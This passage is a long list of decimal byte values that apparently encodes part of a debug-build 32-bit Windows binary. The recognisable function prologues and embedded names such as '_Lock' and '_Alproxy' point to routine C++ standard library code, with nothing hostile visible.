244,232,169,205,255,255,139,77,248,137,65,60,139,244,139,77,248,255,21,180,52,2,16,59,244,232,145,205,255,255,139,77,248,137,65,64,139,69,248,131,192,73,139,244,80,139,77,248,131,193,72,81,139,85,248,131,194,72,82,139,77,248,255,21,84,52,2,16,59,244,232,100,205,255,255,95,94,91,129,196,204,0,0,0,59,236,232,84,205,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,176,202,255,255,95,94,91,129,196,204,0,0,0,59,236,232,223,204,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,9,204,255,255,133,192,116,68,139,69,248,131,120,8,0,116,59,139,77,248,232,244,203,255,255,139,200,232,128,202,255,255,139,77,248,57,65,8,114,36,139,77,248,232,221,203,255,255,139,200,232,105,202,255,255,139,240,139,77,248,232,204,203,255,255,3,112,20,139,69,248,59,112,8,119,120,139,244,106,78,104,56,249,1,16,104,224,248,1,16,255,21,24,52,2,16,131,196,12,59,244,232,57,204,255,255,184,176,248,1,16,133,192,116,4,51,201,117,40,139,244,104,72,248,1,16,106,0,106,79,104,56,249,1,16,106,2,255,21,232,53,2,16,131,196,20,59,244,232,10,204,255,255,131,248,1,117,1,204,139,244,106,0,106,79,104,56,249,1,16,104,72,247,1,16,104,36,247,1,16,255,21,236,53,2,16,131,196,20,59,244,232,223,203,255,255,51,192,117,252,139,69,248,139,64,8,95,94,91,129,196,204,0,0,0,59,236,232,197,203,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,12,80,139,77,8,81,139,77,248,232,83,201,255,255,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,52,203,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,72,182,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,77,236,232,103,202,255,255,199,69,252,0,0,0,0,139,69,12,80,139,77,236,232,149,202,255,255,139,69,236,139,77,8,137,72,8,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,143,202,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,77,248,232,102,202,255,255,139,69,248,95,94,91,129,196,204,0,0,0,59,236,232,28,202,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,120,182,1,16,100,161,0,0,0,0,80,81,129,236,80,1,0,0,83,86,87,141,189,160,254,255,255,185,84,0,0,0,184,204,204,204,204,243,171,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,101,240,199,69,232,0,0,0,0,139,69,12,80,232,36,199,255,255,131,196,4,51,201,137,69,216,137,77,220,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,52,52,2,16,59,244,232,130,201,255,255,137,133,176,254,255,255,137,149,180,254,255,255,131,189,180,254,255,255,0,124,121,127,9,131,189,176,254,255,255,0,118,110,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,52,52,2,16,59,244,232,70,201,255,255,137,133,168,254,255,255,137,149,172,254,255,255,139,133,172,254,255,255,59,69,220,124,59,127,11,139,141,168,254,255,255,59,77,216,118,46,139,85,8,139,2,139,77,8,3,72,4,139,244,255,21,52,52,2,16,59,244,232,8,201,255,255,43,69,216,27,85,220,137,133,160,254,255,255,137,149,164,254,255,255,235,20,199,133,160,254,255,255,0,0,0,0,199,133,164,254,255,255,0,0,0,0,139,141,160,254,255,255,137,77,200,139,149,164,254,255,255,137,85,204,139,69,8,80,141,77,184,232,183,201,255,255,199,69,252,0,0,0,0,141,77,184,232,182,197,255,255,131,248,255,117,14,139,69,232,131,200,4,137,69,232,233,228,2,0,0,198,69,252,1,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,48,52,2,16,59,244,232,128,200,255,255,137,133,180,254,255,255,139,133,180,254,255,255,37,192,1,0,0,131,248,64,15,132,235,0,0,0,235,18,139,69,200,131,232,1,139,77,204,131,217,0,137,69,200,137,77,204,131,125,204,0,15,140,205,0,0,0,127,10,131,125,200,0,15,134,193,0,0,0,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,44,52,2,16,59,244,232,32,200,255,255,136,133,183,254,255,255,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,40,52,2,16,59,244,232,254,199,255,255,137,133,176,254,255,255,139,244,15,182,133,183,254,255,255,80,139,141,176,254,255,255,255,21,36,52,2,16,59,244,232,219,199,255,255,137,133,172,254,255,255,139,141,172,254,255,255,137,141,188,254,255,255,232,127,198,255,255,137,133,168,254,255,255,139,149,168,254,255,255,137,149,200,254,255,255,141,133,188,254,255,255,80,141,141,200,254,255,255,81,232,36,197,255,255,131,196,8,136,133,167,254,255,255,15,182,149,167,254,255,255,133,210,116,11,139,69,232,131,200,4,137,69,232,235,5,233,23,255,255,255,131,125,232,0,117,110,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,40,52,2,16,59,244,232,89,199,255,255,137,133,180,254,255,255,139,244,139,69,220,80,139,77,216,81,139,85,12,82,139,141,180,254,255,255,255,21,32,52,2,16,59,244,232,50,199,255,255,137,133,172,254,255,255,137,149,176,254,255,255,139,133,172,254,255,255,59,69,216,117,11,139,141,176,254,255,255,59,77,220,116,9,139,69,232,131,200,4,137,69,232,131,125,232,0,15,133,235,0,0,0,235,18,139,69,200,131,232,1,139,77,204,131,217,0,137,69,200,137,77,204,131,125,204,0,15,140,205,0,0,0,127,10,131,125,200,0,15,134,193,0,0,0,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,44,52,2,16,59,244,232,183,198,255,255,136,133,183,254,255,255,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,40,52,2,16,59,244,232,149,198,255,255,137,133,176,254,255,255,139,244,15,182,133,183,254,255,255,80,139,141,176,254,255,255,255,21,36,52,2,16,59,244,232,114,198,255,255,137,133,172,254,255,255,139,141,172,254,255,255,137,141,212,254,255,255,232,22,197,255,255,137,133,168,254,255,255,139,149,168,254,255,255,137,149,224,254,255,255,141,133,212,254,255,255,80,141,141,224,254,255,255,81,232,187,195,255,255,131,196,8,136,133,167,254,255,255,15,182,149,167,254,255,255,133,210,116,11,139,69,232,131,200,4,137,69,232,235,5,233,23,255,255,255,139,244,106,0,106,0,139,69,8,139,8,139,85,8,3,81,4,139,202,255,21,28,52,2,16,59,244,232,242,197,255,255,235,45,139,244,106,1,106,4,139,69,8,139,8,139,85,8,3,81,4,139,202,255,21,232,52,2,16,59,244,232,208,197,255,255,199,69,252,0,0,0,0,184,94,78,1,16,195,199,69,252,0,0,0,0,139,244,106,0,139,69,232,80,139,77,8,139,17,139,77,8,3,74,4,255,21,232,52,2,16,59,244,232,156,197,255,255,139,69,8,137,133,236,254,255,255,199,69,252,255,255,255,255,141,77,184,232,68,196,255,255,139,133,236,254,255,255,82,139,205,80,141,21,204,78,1,16,232,229,194,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,96,1,0,0,59,236,232,82,197,255,255,139,229,93,195,1,0,0,0,212,78,1,16,184,255,255,255,8,0,0,0,224,78,1,16,95,79,107,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,178,182,1,16,100,161,0,0,0,0,80,129,236,28,1,0,0,83,86,87,141,189,216,254,255,255,185,71,0,0,0,184,204,204,204,204,243,171,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,139,244,106,0,141,77,236,255,21,76,52,2,16,59,244,232,169,195,255,255,199,69,252,0,0,0,0,161,100,35,2,16,137,69,224,139,244,139,13,72,52,2,16,255,21,68,52,2,16,59,244,232,133,195,255,255,137,69,212,139,69,212,80,139,77,8,232,4,194,255,255,137,69,200,131,125,200,0,116,5,233,136,0,0,0,131,125,224,0,116,8,139,69,224,137,69,200,235,122,139,244,139,69,8,80,141,77,224,81,255,21,64,52,2,16,131,196,8,59,244,232,64,195,255,255,131,248,255,117,45,139,244,104,228,249,1,16,141,141,220,254,255,255,255,21,228,53,2,16,59,244,232,33,195,255,255,104,228,22,2,16,141,133,220,254,255,255,80,232,228,193,255,255,235,46,139,69,224,137,69,200,139,69,224,163,100,35,2,16,139,69,224,137,69,188,139,244,139,77,188,255,21,60,52,2,16,59,244,232,232,194,255,255,139,77,188,232,66,192,255,255,139,69,200,137,133,240,254,255,255,199,69,252,255,255,255,255,139,244,141,77,236,255,21,56,52,2,16,59,244,232,190,194,255,255,139,133,240,254,255,255,82,139,205,80,141,21,148,81,1,16,232,31,192,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,40,1,0,0,59,236,232,140,194,255,255,139,229,93,195,139,255,2,0,0,0,156,81,1,16,236,255,255,255,4,0,0,0,187,81,1,16,224,255,255,255,4,0,0,0,180,81,1,16,95,80,115,97,118,101,0,95,76,111,99,107,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,80,232,147,191,255,255,131,196,4,95,94,91,129,196,192,0,0,0,59,236,232,176,193,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,138,0,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,15,182,0,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,8,139,77,12,139,16,51,192,59,17,15,148,192,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,196,0,0,0,83,86,87,141,189,60,255,255,255,185,49,0,0,0,184,204,204,204,204,243,171,232,98,191,255,255,139,77,8,57,1,116,13,139,85,8,139,2,137,133,60,255,255,255,235,18,232,73,191,255,255,247,216,27,192,131,192,1,137,133,60,255,255,255,139,133,60,255,255,255,95,94,91,129,196,196,0,0,0,59,236,232,107,192,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,131,200,255,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,199,0,0,0,0,0,139,69,248,199,64,4,0,0,0,0,139,69,248,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,242,182,1,16,100,161,0,0,0,0,80,129,236,216,0,0,0,83,86,87,81,141,189,28,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,244,106,3,141,77,224,255,21,76,52,2,16,59,244,232,100,191,255,255,199,69,252,0,0,0,0,139,77,236,232,174,192,255,255,199,69,252,255,255,255,255,139,244,141,77,224,255,21,56,52,2,16,59,244,232,60,191,255,255,82,139,205,80,141,21,16,85,1,16,232,163,188,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,228,0,0,0,59,236,232,16,191,255,255,139,229,93,195,139,255,1,0,0,0,24,85,1,16,224,255,255,255,4,0,0,0,36,85,1,16,95,76,111,99,107,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,50,183,1,16,100,161,0,0,0,0,80,129,236,228,0,0,0,83,86,87,81,141,189,16,255,255,255,185,57,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,131,125,8,0,116,107,139,69,8,139,8,137,77,224,139,69,236,139,8,59,77,224,116,89,139,244,106,3,141,77,212,255,21,76,52,2,16,59,244,232,76,190,255,255,199,69,252,0,0,0,0,139,77,236,232,150,191,255,255,139,69,236,139,77,224,139,81,4,137,80,4,139,69,224,139,77,236,137,72,4,139,69,236,139,77,224,137,8,199,69,252,255,255,255,255,139,244,141,77,212,255,21,56,52,2,16,59,244,232,7,190,255,255,82,139,205,80,141,21,72,86,1,16,232,110,187,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,240,0,0,0,59,236,232,219,189,255,255,139,229,93,194,4,0,141,73,0,1,0,0,0,80,86,1,16,212,255,255,255,4,0,0,0,92,86,1,16,95,76,111,99,107,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,208,0,0,0,83,86,87,81,141,189,48,255,255,255,185,52,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,56,0,117,12,199,133,48,255,255,255,0,0,0,0,235,13,139,77,248,139,17,139,2,137,133,48,255,255,255,139,133,48,255,255,255,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,56,0,116,103,139,69,248,139,8,131,193,4,137,77,236,139,69,236,131,56,0,116,23,139,69,236,139,8,59,77,248,116,13,139,69,236,139,8,131,193,4,137,77,236,235,225,139,69,236,131,56,0,117,33,139,244,104,181,0,0,0,104,48,250,1,16,104,240,249,1,16,255,21,24,52,2,16,131,196,12,59,244,232,124,188,255,255,139,69,236,139,77,248,139,81,4,137,16,139,69,248,199,0,0,0,0,0,95,94,91,129,196,216,0,0,0,59,236,232,88,188,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,80,232,107,184,255,255,131,196,4,95,94,91,129,196,204,0,0,0,59,236,232,235,187,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,131,56,0,116,29,139,244,139,69,248,139,8,255,21,80,52,2,16,59,244,232,139,187,255,255,80,232,23,187,255,255,131,196,4,95,94,91,129,196,204,0,0,0,59,236,232,114,187,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,232,0,0,0,83,86,87,81,141,189,24,255,255,255,185,58,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,8,139,85,8,59,81,12,115,22,139,69,248,139,8,139,81,8,139,69,8,139,12,130,137,141,24,255,255,255,235,10,199,133,24,255,255,255,0,0,0,0,139,149,24,255,255,255,137,85,236,131,125,236,0,117,13,139,69,248,139,8,15,182,81,20,133,210,117,7,139,69,236,235,67,235,65,139,244,255,21,252,52,2,16,59,244,232,200,186,255,255,137,69,224,139,69,224,139,77,8,59,72,12,115,20,139,85,224,139,66,8,139,77,8,139,20,136,137,149,24,255,255,255,235,10,199,133,24,255,255,255,0,0,0,0,139,133,24,255,255,255,95,94,91,129,196,232,0,0,0,59,236,232,134,186,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,139,244,139,69,12,80,255,21,8,54,2,16,131,196,4,59,244,232,22,186,255,255,137,69,248,131,125,248,255,117,6,50,192,235,12,235,10,139,69,8,138,77,248,136,8,176,1,95,94,91,129,196,204,0,0,0,59,236,232,237,185,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,244,139,69,12,80,15,190,77,8,81,255,21,204,53,2,16,131,196,8,59,244,232,145,185,255,255,51,210,131,248,255,15,149,194,138,194,95,94,91,129,196,192,0,0,0,59,236,232,119,185,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,244,139,69,12,80,139,77,8,15,182,17,82,255,21,12,54,2,16,131,196,8,59,244,232,31,185,255,255,51,201,131,248,255,15,149,193,138,193,95,94,91,129,196,192,0,0,0,59,236,232,5,185,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,104,183,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,199,69,252,0,0,0,0,106,0,106,1,139,77,236,232,174,184,255,255,199,69,252,255,255,255,255,139,77,236,232,185,183,255,255,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,107,184,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,152,183,1,16,100,161,0,0,0,0,80,129,236,216,0,0,0,83,86,87,81,141,189,28,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,81,139,204,137,165,32,255,255,255,232,47,185,255,255,139,77,236,232,14,185,255,255,199,69,252,0,0,0,0,106,0,106,0,139,77,236,232,232,183,255,255,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,228,0,0,0,59,236,232,170,183,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,200,183,1,16,100,161,0,0,0,0,80,129,236,216,0,0,0,83,86,87,81,141,189,28,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,81,139,204,137,165,32,255,255,255,232,111,184,255,255,139,77,236,232,78,184,255,255,199,69,252,0,0,0,0,106,0,106,0,139,77,236,232,40,183,255,255,15,182,69,12,80,139,77,8,81,139,77,236,232,195,181,255,255,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,228,0,0,0,59,236,232,217,182,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,64,20,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,216,0,0,0,83,86,87,81,141,189,40,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,137,77,248,15,182,69,8,133,192,117,2,235,72,139,69,248,131,120,24,16,114,63,139,69,248,139,72,4,137,77,236,131,125,12,0,118,23,139,69,12,80,139,77,236,81,139,85,248,131,194,4,82,232,169,180,255,255,131,196,12,139,69,248,139,72,24,131,193,1,81,139,85,236,82,139,77,248,131,193,28,232,118,183,255,255,139,69,248,199,64,24,15,0,0,0,139,69,12,80,139,77,248,232,68,181,255,255,95,94,91,129,196,216,0,0,0,59,236,232,207,181,255,255,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,192,0,0,0,83,86,87,141,189,64,255,255,255,185,48,0,0,0,184,204,204,204,204,243,171,139,69,16,80,139,77,12,81,139,85,8,82,232,83,180,255,255,131,196,12,95,94,91,129,196,192,0,0,0,59,236,232,88,181,255,255,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,2,184,1,16,100,161,0,0,0,0,80,129,236,232,0,0,0,83,86,87,81,141,189,12,255,255,255,185,58,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,244,139,77,236,255,21,92,52,2,16,59,244,232,230,180,255,255,199,69,252,0,0,0,0,141,69,8,80,139,77,236,131,193,28,232,11,177,255,255,139,69,236,131,192,28,80,141,77,227,232,200,178,255,255,106,1,141,77,227,232,88,180,255,255,139,77,236,137,1,141,141,16,255,255,255,232,38,179,255,255,80,139,69,236,139,8,81,141,85,227,82,232,81,180,255,255,131,196,12,139,69,236,139,8,139,85,236,137,17,199,69,252,255,255,255,255,139,69,236,82,139,205,80,141,21,204,95,1,16,232,231,177,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,244,0,0,0,59,236,232,84,180,255,255,139,229,93,194,4,0,1,0,0,0,212,95,1,16,227,255,255,255,1,0,0,0,224,95,1,16,95,65,108,112,114,111,120,121,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,199,0,0,0,0,0,139,69,248,199,64,4,0,0,0,0,139,69,248,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,66,184,1,16,100,161,0,0,0,0,80,129,236,216,0,0,0,83,86,87,81,141,189,28,255,255,255,185,54,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,199,69,252,0,0,0,0,139,69,236,131,192,28,80,141,77,227,232,73,177,255,255,139,244,139,77,236,255,21,96,52,2,16,59,244,232,48,179,255,255,139,69,236,139,8,81,141,85,227,82,232,246,176,255,255,131,196,8,106,1,139,69,236,139,8,81,141,77,227,232,173,175,255,255,139,69,236,199,0,0,0,0,0,199,69,252,255,255,255,255,139,244,139,77,236,255,21,88,52,2,16,59,244,232,236,178,255,255,82,139,205,80,141,21,96,97,1,16,232,83,176,255,255,88,90,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,228,0,0,0,59,236,232,192,178,255,255,139,229,93,195,139,255,1,0,0,0,104,97,1,16,227,255,255,255,1,0,0,0,116,97,1,16,95,65,108,112,114,111,120,121,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,95,94,91,139,229,93,195,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,129,236,204,0,0,0,83,86,87,81,141,189,52,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,137,77,248,139,69,248,139,77,8,137,8,139,85,12,137,80,4,139,69,248,199,64,8,0,0,0,0,199,64,12,0,0,0,0,139,69,248,139,13,220,250,1,16,137,72,16,139,69,248,95,94,91,139,229,93,194,8,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,85,139,236,106,255,104,120,184,1,16,100,161,0,0,0,0,80,129,236,204,0,0,0,83,86,87,81,141,189,40,255,255,255,185,51,0,0,0,184,204,204,204,204,243,171,89,161,12,34,2,16,51,197,80,141,69,244,100,163,0,0,0,0,137,77,236,139,69,8,80,139,77,236,232,201,178,255,255,199,69,252,0,0,0,0,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,108,52,2,16,59,244,232,57,177,255,255,15,182,192,133,192,116,77,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,104,52,2,16,59,244,232,22,177,255,255,133,192,116,45,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,104,52,2,16,59,244,232,246,176,255,255,139,244,139,200,255,21,100,52,2,16,59,244,232,229,176,255,255,139,69,8,139,8,139,85,8,3,81,4,139,244,139,202,255,21,108,52,2,16,59,244,232,201,176,255,255,139,77,236,136,65,4,199,69,252,255,255,255,255,139,69,236,139,77,244,100,137,13,0,0,0,0,89,95,94,91,129,196,216,0,0,0,59,236,232,158,176,255,255,139,229,93,194,4,0,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,204,